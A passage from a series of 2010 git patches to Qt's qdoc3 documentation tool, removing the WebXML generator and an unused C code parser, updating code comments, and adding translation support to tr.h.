writer.writeStartElement("subscript"); - else if (atom->string() == ATOM_FORMATTING_SUPERSCRIPT) - writer.writeStartElement("superscript"); - else if (atom->string() == ATOM_FORMATTING_TELETYPE) - writer.writeStartElement("teletype"); - else if (atom->string() == ATOM_FORMATTING_PARAMETER) - writer.writeStartElement("argument"); - else if (atom->string() == ATOM_FORMATTING_INDEX) - writer.writeStartElement("index"); - } - break; -/* out() << formattingLeftMap()[atom->string()]; - if ( atom->string() == ATOM_FORMATTING_PARAMETER ) { - if ( atom->next() != 0 && atom->next()->type() == Atom::String ) { - QRegExp subscriptRegExp( "([a-z]+)_([0-9n])" ); - if ( subscriptRegExp.exactMatch(atom->next()->string()) ) { - out() << subscriptRegExp.cap( 1 ) << "" - << subscriptRegExp.cap( 2 ) << ""; - skipAhead = 1; - } - } - }*/ - case Atom::FormattingRight: - { - if (atom->string() == ATOM_FORMATTING_BOLD) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_ITALIC) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_UNDERLINE) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_SUBSCRIPT) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_SUPERSCRIPT) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_TELETYPE) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_PARAMETER) - writer.writeEndElement(); - else if (atom->string() == ATOM_FORMATTING_INDEX) - writer.writeEndElement(); - } - if (inLink) { - writer.writeEndElement(); // link - inLink = false; - } - break; -/* if ( atom->string() == ATOM_FORMATTING_LINK ) { - if (inLink) { - if ( link.isEmpty() ) { - if (showBrokenLinks) - out() << ""; - } else { - out() << ""; - } - } - inLink = false; - } else { - out() << formattingRightMap()[atom->string()]; - }*/ - case Atom::GeneratedList: - writer.writeStartElement("generatedlist"); - writer.writeAttribute("contents", atom->string()); - writer.writeEndElement(); // generatedlist -/* - if (atom->string() == "annotatedclasses") { - generateAnnotatedList(relative, marker, nonCompatClasses); - } else if (atom->string() == "classes") { - generateCompactList(relative, marker, nonCompatClasses); - } else if (atom->string().contains("classesbymodule")) { - QString arg = atom->string().trimmed(); - QString moduleName = atom->string().mid(atom->string().indexOf( - "classesbymodule") + 15).trimmed(); - if (moduleClassMap.contains(moduleName)) - generateAnnotatedList(relative, marker, moduleClassMap[moduleName]); - } else if (atom->string().contains("classesbyedition")) { - QString arg = atom->string().trimmed(); - QString editionName = atom->string().mid(atom->string().indexOf( - "classesbyedition") + 16).trimmed(); - if (editionModuleMap.contains(editionName)) { - QMap editionClasses; - foreach (const QString &moduleName, editionModuleMap[editionName]) { - if (moduleClassMap.contains(moduleName)) - editionClasses.unite(moduleClassMap[moduleName]); - } - generateAnnotatedList(relative, marker, editionClasses); - } - } else if (atom->string() == "classhierarchy") { - generateClassHierarchy(relative, marker, nonCompatClasses); - } else if (atom->string() == "compatclasses") { - generateCompactList(relative, marker, compatClasses); - } else if (atom->string() == "functionindex") { - generateFunctionIndex(relative, marker); - } else if (atom->string() == "legalese") { - generateLegaleseList(relative, marker); - } else if (atom->string() == "mainclasses") { - generateCompactList(relative, marker, mainClasses); - } else if (atom->string() == "services") { - generateCompactList(relative, marker, serviceClasses); - } else if (atom->string() == "overviews") { - generateOverviewList(relative, marker); - } else if (atom->string() == "namespaces") { - generateAnnotatedList(relative, marker, namespaceIndex); - } else if (atom->string() == "related") { - const FakeNode *fake = static_cast(relative); - if (fake && !fake->groupMembers().isEmpty()) { - QMap groupMembersMap; - foreach (Node *node, fake->groupMembers()) { - if (node->type() == Node::Fake) - groupMembersMap[fullName(node, relative, marker)] = node; - } - generateAnnotatedList(fake, marker, groupMembersMap); - } - } else if (atom->string() == "relatedinline") { - const FakeNode *fake = static_cast(relative); - if (fake && !fake->groupMembers().isEmpty()) { - // Reverse the list into the original scan order. - // Should be sorted. But on what? It may not be a - // regular class or page definition. - QList list; - foreach (const Node *node, fake->groupMembers()) - list.prepend(node); - foreach (const Node *node, list) - generateBody(node, marker ); - } - } - break; -*/ - break; - case Atom::Image: - writer.writeStartElement("image"); - writer.writeAttribute("href", imageFileName(relative, atom->string())); - writer.writeEndElement(); // image - break; - - case Atom::InlineImage: - writer.writeStartElement("inlineimage"); - writer.writeAttribute("href", imageFileName(relative, atom->string())); - writer.writeEndElement(); // inlineimage - break; - - case Atom::ImageText: - break; - - case Atom::LegaleseLeft: - writer.writeStartElement("legalese"); - break; - - case Atom::LegaleseRight: - writer.writeEndElement(); // legalese - break; - - case Atom::Link: - case Atom::LinkNode: - if (!inLink) { - const Node *node = findNode(atom, relative, marker); - if (node) - startLink(writer, atom, node, relative); - } - break; - - case Atom::ListLeft: - writer.writeStartElement("list"); - - if (atom->string() == ATOM_LIST_BULLET) - writer.writeAttribute("type", "bullet"); - else if (atom->string() == ATOM_LIST_TAG) - writer.writeAttribute("type", "definition"); - else if (atom->string() == ATOM_LIST_VALUE) - writer.writeAttribute("type", "enum"); - else { - writer.writeAttribute("type", "ordered"); - if (atom->string() == ATOM_LIST_UPPERALPHA) - writer.writeAttribute("start", "A"); - else if (atom->string() == ATOM_LIST_LOWERALPHA) - writer.writeAttribute("start", "a"); - else if (atom->string() == ATOM_LIST_UPPERROMAN) - writer.writeAttribute("start", "I"); - else if (atom->string() == ATOM_LIST_LOWERROMAN) - writer.writeAttribute("start", "i"); - else // (atom->string() == ATOM_LIST_NUMERIC) - writer.writeAttribute("start", "1"); - } - break; - - case Atom::ListItemNumber: - break; - - case Atom::ListTagLeft: - { - writer.writeStartElement("definition"); - - writer.writeTextElement("term", plainCode( - marker->markedUpEnumValue(atom->next()->string(), relative))); - } - break; - - case Atom::ListTagRight: - writer.writeEndElement(); // definition - break; - - case Atom::ListItemLeft: - writer.writeStartElement("item"); - break; - - case Atom::ListItemRight: - writer.writeEndElement(); // item - break; - - case Atom::ListRight: - writer.writeEndElement(); // list - break; - - case Atom::Nop: - break; - - case Atom::ParaLeft: - writer.writeStartElement("para"); - break; - - case Atom::ParaRight: - writer.writeEndElement(); // para - break; - - case Atom::QuotationLeft: - writer.writeStartElement("quote"); - break; - - case Atom::QuotationRight: - writer.writeEndElement(); // quote - break; - - case Atom::RawString: - writer.writeCharacters(atom->string()); - break; - - case Atom::SectionLeft: - writer.writeStartElement("section"); - writer.writeAttribute("id", Doc::canonicalTitle(Text::sectionHeading(atom).toString())); - break; - - case Atom::SectionRight: - writer.writeEndElement(); // section - break; - - case Atom::SectionHeadingLeft: - writer.writeStartElement("heading"); - writer.writeAttribute("level", atom->string()); // + hOffset(relative) - inSectionHeading = true; - break; - - case Atom::SectionHeadingRight: - writer.writeEndElement(); // heading - inSectionHeading = false; - break; - - case Atom::SidebarLeft: - case Atom::SidebarRight: - break; - - case Atom::SnippetCommand: - writer.writeStartElement(atom->string()); - break; - - case Atom::SnippetIdentifier: - writer.writeAttribute("identifier", atom->string()); - writer.writeEndElement(); // snippet - break; - - case Atom::SnippetLocation: - writer.writeAttribute("location", atom->string()); - break; - - case Atom::String: - writer.writeCharacters(atom->string()); - break; - - case Atom::TableLeft: - writer.writeStartElement("table"); - if (atom->string().contains("%")) - writer.writeAttribute("width", atom->string()); - break; - - case Atom::TableRight: - writer.writeEndElement(); // table - break; - - case Atom::TableHeaderLeft: - writer.writeStartElement("header"); - break; - - case Atom::TableHeaderRight: - writer.writeEndElement(); // header - break; - - case Atom::TableRowLeft: - writer.writeStartElement("row"); - break; - - case Atom::TableRowRight: - writer.writeEndElement(); // row - break; - - case Atom::TableItemLeft: - { - writer.writeStartElement("item"); - QStringList spans = atom->string().split(","); - if (spans.size() == 2) { - if (spans.at(0) != "1") - writer.writeAttribute("colspan", spans.at(0).trimmed()); - if (spans.at(1) != "1") - writer.writeAttribute("rowspan", spans.at(1).trimmed()); - } - } - break; - - case Atom::TableItemRight: - writer.writeEndElement(); // item - break; - - case Atom::TableOfContents: - writer.writeStartElement("tableofcontents"); - writer.writeAttribute("details", atom->string()); - { - int numColumns = 1; - const Node *node = relative; - - Doc::SectioningUnit sectioningUnit = Doc::Section4; - QStringList params = atom->string().split(","); - QString columnText = params.at(0); - QStringList pieces = columnText.split(" ", QString::SkipEmptyParts); - if (pieces.size() >= 2) { - columnText = pieces.at(0); - pieces.pop_front(); - QString path = pieces.join(" ").trimmed(); - node = findNode(path, relative, marker); - if (node) - writer.writeAttribute("href", fileName(node)); - } - - if (params.size() == 2) { - numColumns = qMax(columnText.toInt(), numColumns); - sectioningUnit = (Doc::SectioningUnit)params.at(1).toInt(); - writer.writeAttribute("columns", QString::number(numColumns)); - writer.writeAttribute("unit", QString::number(sectioningUnit)); - } - - if (node) - generateTableOfContents(writer, node, sectioningUnit, numColumns, - relative); - } - writer.writeEndElement(); // tableofcontents - break; - - case Atom::Target: - writer.writeStartElement("target"); - writer.writeAttribute("name", Doc::canonicalTitle(atom->string())); - writer.writeEndElement(); // target - break; - - case Atom::UnhandledFormat: - case Atom::UnknownCommand: - writer.writeCharacters(atom->typeString()); - break; - default: - break; - } - - if (atom) - return atom->next(); - - return 0; -} -/* - QDomElement atomElement = document.createElement(atom->typeString().toLower()); - QDomText atomValue = document.createTextNode(atom->string()); - atomElement.appendChild(atomValue); - descriptionElement.appendChild(atomElement); -*/ - -/* - ### Warning: findNode() is a modified version of HtmlGenerator::getLink(). -*/ -const Node *WebXMLGenerator::findNode(const Atom *atom, const Node *relative, CodeMarker *marker) -{ - return findNode(atom->string(), relative, marker); -} - -const Node *WebXMLGenerator::findNode(const QString &title, const Node *relative, CodeMarker *marker) -{ - QString link; - if (title.contains(":") && - (title.startsWith("file:") - || title.startsWith("http:") - || title.startsWith("https:") - || title.startsWith("ftp:") - || title.startsWith("mailto:"))) { - - return 0; - } else if (title.count('@') == 1) { - return 0; - } else { - QStringList path; - if (title.contains('#')) { - path = title.split('#'); - } else { - path.append(title); - } - - const Node *node = 0; - Atom *targetAtom = 0; - - QString first = path.first().trimmed(); - if (first.isEmpty()) { - node = relative; - } else if (first.endsWith(".html")) { - node = tre->root()->findNode(first, Node::Fake); - } else { - node = marker->resolveTarget(first, tre, relative); - if (!node) - node = tre->findFakeNodeByTitle(first); - if (!node) - node = tre->findUnambiguousTarget(first, targetAtom); - } - - if (node) { - if (!node->url().isEmpty()) - return node; - else - path.removeFirst(); - } else { - return 0; - } - - while (!path.isEmpty()) { - targetAtom = tre->findTarget(path.first(), node); - if (targetAtom == 0) - break; - path.removeFirst(); - } -/* We would ideally treat targets as nodes to be consistent. - if (targetAtom && node && node->isInnerNode()) { - Node *parentNode = const_cast(node); - node = new TargetNode(static_cast(parentNode), first); - } -*/ - return node; - } - return 0; -} - -void WebXMLGenerator::startLink(QXmlStreamWriter &writer, const Atom *atom, - const Node *node, const Node *relative) -{ - QString location = tre->fullDocumentLocation(node); - if (!location.isEmpty()) { - writer.writeStartElement("link"); - writer.writeAttribute("raw", atom->string()); - if (atom->string().contains("#") || node == relative) { - QString target = atom->string().split("#").last(); - Atom *targetAtom = tre->findTarget(target, node); - if (targetAtom) - location += "#" + Doc::canonicalTitle(target); - } - writer.writeAttribute("href", location); - QString type = targetType(node); - writer.writeAttribute("type", type); - switch (node->type()) { - case Node::Enum: - writer.writeAttribute("enum", tre->fullDocumentName(node)); - break; - case Node::Fake: - writer.writeAttribute("page", tre->fullDocumentName(node)); - break; - case Node::Property: - { - const PropertyNode *propertyNode = static_cast(node); - if (propertyNode->getters().size() > 0) - writer.writeAttribute("getter", tre->fullDocumentName(propertyNode->getters()[0])); - } - default: - ; - } - inLink = true; - } -} - -QString WebXMLGenerator::targetType(const Node *node) -{ - switch (node->type()) { - case Node::Namespace: - return "namespace"; - break; - case Node::Class: - return "class"; - break; - case Node::Fake: - return "page"; - break; - case Node::Enum: - return "enum"; - break; - case Node::Typedef: - return "typedef"; - break; - case Node::Property: - return "property"; - break; - case Node::Function: - return "function"; - break; - case Node::Variable: - return "variable"; - break; - case Node::Target: - return "target"; - break; - default: - return ""; - } - return ""; -} - -void WebXMLGenerator::generateRelations(QXmlStreamWriter &writer, const Node *node, CodeMarker *marker) -{ - if (node && !node->links().empty()) { - QPair linkPair; - QPair anchorPair; - const Node *linkNode; - - foreach (Node::LinkType relation, node->links().keys()) { - - linkPair = node->links()[relation]; - linkNode = findNode(linkPair.first, node, marker); - - if (!linkNode) - linkNode = node; - - if (linkNode == node) - anchorPair = linkPair; - else - anchorPair = anchorForNode(linkNode); - - writer.writeStartElement("relation"); - writer.writeAttribute("href", anchorPair.first); - writer.writeAttribute("type", targetType(linkNode)); - - switch (relation) { - case Node::StartLink: - writer.writeAttribute("meta", "start"); - break; - case Node::NextLink: - writer.writeAttribute("meta", "next"); - break; - case Node::PreviousLink: - writer.writeAttribute("meta", "previous"); - break; - case Node::ContentsLink: - writer.writeAttribute("meta", "contents"); - break; - case Node::IndexLink: - writer.writeAttribute("meta", "index"); - break; - default: - writer.writeAttribute("meta", ""); - } - writer.writeAttribute("description", anchorPair.second); - writer.writeEndElement(); // link - } - } -} - -// Classes adapted from HtmlGenerator. - -void WebXMLGenerator::generateTableOfContents(QXmlStreamWriter &writer, const Node *node, - Doc::SectioningUnit sectioningUnit, - int numColumns, const Node *relative) - -{ - if (!node->doc().hasTableOfContents()) - return; - QList toc = node->doc().tableOfContents(); - if (toc.isEmpty()) - return; - - QString nodeName = ""; - if (node != relative) - nodeName = node->name(); - - QStringList sectionNumber; - int columnSize = 0; - - if (numColumns > 1) { - writer.writeStartElement("table"); - writer.writeAttribute("width", "100%"); - writer.writeStartElement("row"); - writer.writeStartElement("item"); - writer.writeAttribute("width", QString::number((100 + numColumns - 1) / numColumns) + "%"); - } - - // disable nested links in table of contents - inContents = true; - inLink = true; - - for (int i = 0; i < toc.size(); ++i) { - Atom *atom = toc.at(i); - - int nextLevel = atom->string().toInt(); - if (nextLevel > (int)sectioningUnit) - continue; - - if (sectionNumber.size() < nextLevel) { - do { - writer.writeStartElement("list"); - sectionNumber.append("1"); - } while (sectionNumber.size() < nextLevel); - } else { - while (sectionNumber.size() > nextLevel) { - writer.writeEndElement(); - sectionNumber.removeLast(); - } - sectionNumber.last() = QString::number(sectionNumber.last().toInt() + 1); - } - Text headingText = Text::sectionHeading(atom); - - if (sectionNumber.size() == 1 && columnSize > toc.size() / numColumns) { - writer.writeEndElement(); // list - writer.writeEndElement(); // item - writer.writeStartElement("item"); - writer.writeAttribute("width", QString::number((100 + numColumns - 1) / numColumns) + "%"); - writer.writeStartElement("list"); - columnSize = 0; - } - - writer.writeStartElement("item"); - writer.writeStartElement("para"); - writer.writeStartElement("link"); - writer.writeAttribute("href", nodeName + "#" + Doc::canonicalTitle(headingText.toString())); - writer.writeAttribute("type", "page"); - writer.writeCharacters(headingText.toString()); - writer.writeEndElement(); // link - writer.writeEndElement(); // para - writer.writeEndElement(); // item - - ++columnSize; - } - while (!sectionNumber.isEmpty()) { - writer.writeEndElement(); // list - sectionNumber.removeLast(); - } - - if (numColumns > 1) { - writer.writeEndElement(); // item - writer.writeEndElement(); // row - writer.writeEndElement(); // table - } - - inContents = false; - inLink = false; -} - -void WebXMLGenerator::generateAnnotatedList(QXmlStreamWriter &writer, - const Node *relative, CodeMarker *marker, const QMap &nodeMap) -{ - writer.writeStartElement("table"); - writer.writeAttribute("width", "100%"); - - foreach (QString name, nodeMap.keys()) { - const Node *node = nodeMap[name]; - - writer.writeStartElement("row"); - writer.writeStartElement("heading"); - generateFullName(writer, node, relative, marker); - writer.writeEndElement(); // heading - - writer.writeStartElement("item"); - writer.writeCharacters(node->doc().briefText().toString()); - writer.writeEndElement(); // item - writer.writeEndElement(); // row - } - writer.writeEndElement(); // table -} - -void WebXMLGenerator::generateFullName(QXmlStreamWriter &writer, - const Node *apparentNode, const Node *relative, CodeMarker *marker, - const Node *actualNode) -{ - if ( actualNode == 0 ) - actualNode = apparentNode; - writer.writeStartElement("link"); - writer.writeAttribute("href", tre->fullDocumentLocation(actualNode)); - writer.writeAttribute("type", targetType(actualNode)); - writer.writeCharacters(fullName(apparentNode, relative, marker)); - writer.writeEndElement(); // link -} - -// Classes copied (and slightly adapted) from the HtmlGenerator. These need -// refactoring into a common ancestor class. - -void WebXMLGenerator::findAllClasses(const InnerNode *node) -{ - NodeList::const_iterator c = node->childNodes().constBegin(); - while (c != node->childNodes().constEnd()) { - if ((*c)->access() != Node::Private && (*c)->url().isEmpty()) { - if ((*c)->type() == Node::Class && !(*c)->doc().isEmpty()) { - QString className = (*c)->name(); - if ((*c)->parent() && (*c)->parent()->type() == Node::Namespace && - !(*c)->parent()->name().isEmpty()) - className = (*c)->parent()->name()+"::"+className; - - QString moduleName = (*c)->moduleName(); - if (!moduleName.isEmpty()) - moduleClassMap[moduleName].insert((*c)->name(), *c); - - QString serviceName = - (static_cast(*c))->serviceName(); - if (!serviceName.isEmpty()) - serviceClasses.insert(serviceName, *c); - } else if ((*c)->isInnerNode()) { - findAllClasses(static_cast(*c)); - } - } - ++c; - } -} - -void WebXMLGenerator::findAllNamespaces(const InnerNode *node) -{ - NodeList::ConstIterator c = node->childNodes().begin(); - while (c != node->childNodes().end()) { - if ((*c)->access() != Node::Private) { - if ((*c)->isInnerNode() && (*c)->url().isEmpty()) { - findAllNamespaces(static_cast(*c)); - if ((*c)->type() == Node::Namespace) { - const NamespaceNode *nspace = static_cast(*c); - // Ensure that the namespace's name is not empty (the root - // namespace has no name). - if (!nspace->name().isEmpty()) { - namespaceIndex.insert(nspace->name(), *c); - QString moduleName = (*c)->moduleName(); - if (!moduleName.isEmpty()) - moduleNamespaceMap[moduleName].insert((*c)->name(), *c); - } - } - } - } - ++c; - } -} - -const QPair WebXMLGenerator::anchorForNode(const Node *node) -{ - QPair anchorPair; - - anchorPair.first = PageGenerator::fileName(node); - if (node->type() == Node::Fake) { - const FakeNode *fakeNode = static_cast(node); - anchorPair.second = fakeNode->title(); - } - - return anchorPair; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/webxmlgenerator.h b/tools/qdoc3/webxmlgenerator.h deleted file mode 100644 index 071896a..0000000 --- a/tools/qdoc3/webxmlgenerator.h +++ /dev/null @@ -1,127 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - WebXMLGenerator.h -*/ - -#ifndef WEBXMLGENERATOR_H -#define WEBXMLGENERATOR_H - -#include - -#include "codemarker.h" -#include "config.h" -#include "pagegenerator.h" - -QT_BEGIN_NAMESPACE - -class QXmlStreamReader; -class QXmlStreamWriter; - -class WebXMLGenerator : public PageGenerator -{ -public: - WebXMLGenerator(); - ~WebXMLGenerator(); - - virtual void initializeGenerator(const Config &config); - virtual void terminateGenerator(); - virtual QString format(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); - -protected: - virtual void startText( const Node *relative, CodeMarker *marker ); - virtual int generateAtom(QXmlStreamWriter &writer, const Atom *atom, - const Node *relative, CodeMarker *marker ); - virtual void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker); - virtual void generateFakeNode(const FakeNode *fake, CodeMarker *marker); - virtual QString fileExtension(const Node *node) const; - - virtual const Atom *addAtomElements(QXmlStreamWriter &writer, const Atom *atom, - const Node *relative, CodeMarker *marker); - virtual void generateIndexSections(QXmlStreamWriter &writer, const Node *node, - CodeMarker *marker); - virtual void generateInnerNode( const InnerNode *node, CodeMarker *marker ); - -private: - const QPair anchorForNode(const Node *node); - void findAllClasses(const InnerNode *node); - void findAllNamespaces(const InnerNode *node); - const Node *findNode(const Atom *atom, const Node *relative, CodeMarker *marker); - const Node *findNode(const QString &title, const Node *relative, CodeMarker *marker); - void generateAnnotatedList(QXmlStreamWriter &writer, const Node *relative, - CodeMarker *marker, const QMap &nodeMap); - void generateFullName(QXmlStreamWriter &writer, const Node *apparentNode, - const Node *relative, CodeMarker *marker, - const Node *actualNode = 0); - void generateRelations(QXmlStreamWriter &writer, const Node *node, CodeMarker *marker); - void generateTableOfContents(QXmlStreamWriter &writer, const Node *node, - Doc::SectioningUnit sectioningUnit, - int numColumns, const Node *relative); - void startLink(QXmlStreamWriter &writer, const Atom *atom, const Node *node, - const Node *relative); - QString targetType(const Node *node); - - const Tree *tre; - bool generateIndex; - bool inLink; - bool inContents; - bool inSectionHeading; - bool inTableHeader; - int numTableRows; - bool threeColumnEnumValueTable; - QMap > moduleClassMap; - QMap > moduleNamespaceMap; - QMap namespaceIndex; - QMap serviceClasses; - QString link; - QString project; - QString projectDescription; - QString projectUrl; - QString quoteCommand; - QStringList sectionNumber; -}; - -QT_END_NAMESPACE - -#endif -- cgit v0.12 From c9ff1b8851b166b786864ee7bbe0eceb0220660e Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 19 Nov 2010 19:04:03 +0100 Subject: Updated code comments. --- tools/qdoc3/quoter.cpp | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/tools/qdoc3/quoter.cpp b/tools/qdoc3/quoter.cpp index b8055a7..6dc7894 100644 --- a/tools/qdoc3/quoter.cpp +++ b/tools/qdoc3/quoter.cpp @@ -41,7 +41,6 @@ #include #include -#include #include "quoter.h" @@ -123,9 +122,9 @@ Quoter::Quoter() /* We're going to hard code these delimiters: * C++, Qt, Qt Script, Java: //! [] - * .pro files: + * .pro, .py files: #! [] - * .xq, .xml, .html files: + * .html, .qrc, .ui, .xq, .xml files: */ commentHash["pro"] = "#!"; -- cgit v0.12 From 6a5aebd47fca17663074c323795e37f3581154c2 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 19 Nov 2010 19:04:23 +0100 Subject: Improved translation support, using the application object if possible. --- tools/qdoc3/tr.h | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/tools/qdoc3/tr.h b/tools/qdoc3/tr.h index 4d601e9..4ba7aa4 100644 --- a/tools/qdoc3/tr.h +++ b/tools/qdoc3/tr.h @@ -46,14 +46,26 @@ #ifndef TR_H #define TR_H +#ifndef QT_BOOTSTRAPPED +# include "qcoreapplication.h" +#endif + #include QT_BEGIN_NAMESPACE -inline QString tr( const char *sourceText, const char * /* comment */ = 0 ) +#if defined(QT_BOOTSTRAPPED) || defined(QT_NO_TRANSLATION) +inline QString tr(const char *sourceText, const char *comment = 0) { + Q_UNUSED(comment); return QString( QLatin1String(sourceText) ); } +#else +inline QString tr(const char *sourceText, const char *comment = 0) +{ + return QCoreApplication::instance()->translate("", sourceText, comment); +} +#endif QT_END_NAMESPACE -- cgit v0.12 From 93093b972cae3c1362c5d443ed8288b4694b2735 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 19 Nov 2010 19:57:38 +0100 Subject: Removed the unused C code parser. --- tools/qdoc3/ccodeparser.cpp | 73 --------------------------------------------- tools/qdoc3/ccodeparser.h | 66 ---------------------------------------- tools/qdoc3/qdoc3.pro | 2 -- 3 files changed, 141 deletions(-) delete mode 100644 tools/qdoc3/ccodeparser.cpp delete mode 100644 tools/qdoc3/ccodeparser.h diff --git a/tools/qdoc3/ccodeparser.cpp b/tools/qdoc3/ccodeparser.cpp deleted file mode 100644 index 48aa539..0000000 --- a/tools/qdoc3/ccodeparser.cpp +++ /dev/null @@ -1,73 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - ccodeparser.cpp -*/ - -#include "ccodeparser.h" - -QT_BEGIN_NAMESPACE - -CCodeParser::CCodeParser() -{ -} - -CCodeParser::~CCodeParser() -{ -} - -QString CCodeParser::language() -{ - return QLatin1String("C"); -} - -QString CCodeParser::headerFileNameFilter() -{ - return QLatin1String("*.ch *.h"); -} - -QString CCodeParser::sourceFileNameFilter() -{ - return QLatin1String("*.c"); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/ccodeparser.h b/tools/qdoc3/ccodeparser.h deleted file mode 100644 index 1771fc9..0000000 --- a/tools/qdoc3/ccodeparser.h +++ /dev/null @@ -1,66 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - ccodeparser.h -*/ - -#ifndef CCODEPARSER_H -#define CCODEPARSER_H - -#include "cppcodeparser.h" - -QT_BEGIN_NAMESPACE - -class CCodeParser : public CppCodeParser -{ -public: - CCodeParser(); - ~CCodeParser(); - - virtual QString language(); - virtual QString headerFileNameFilter(); - virtual QString sourceFileNameFilter(); -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index 77c95f8..074fdf6 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -25,7 +25,6 @@ build_all:!build_pass { CONFIG -= app_bundle HEADERS += atom.h \ - ccodeparser.h \ codechunk.h \ codemarker.h \ codeparser.h \ @@ -51,7 +50,6 @@ HEADERS += atom.h \ tr.h \ tree.h SOURCES += atom.cpp \ - ccodeparser.cpp \ codechunk.cpp \ codemarker.cpp \ codeparser.cpp \ -- cgit v0.12 From 035a1416bbe95771649da7e3bfb3ed5c19ab4524 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 19 Nov 2010 20:15:14 +0100 Subject: Removed unused functions. --- tools/qdoc3/command.cpp | 103 ------------------------------------------------ tools/qdoc3/command.h | 60 ---------------------------- tools/qdoc3/qdoc3.pro | 2 - 3 files changed, 165 deletions(-) delete mode 100644 tools/qdoc3/command.cpp delete mode 100644 tools/qdoc3/command.h diff --git a/tools/qdoc3/command.cpp b/tools/qdoc3/command.cpp deleted file mode 100644 index b78ad07..0000000 --- a/tools/qdoc3/command.cpp +++ /dev/null @@ -1,103 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - command.cpp -*/ - -#include - 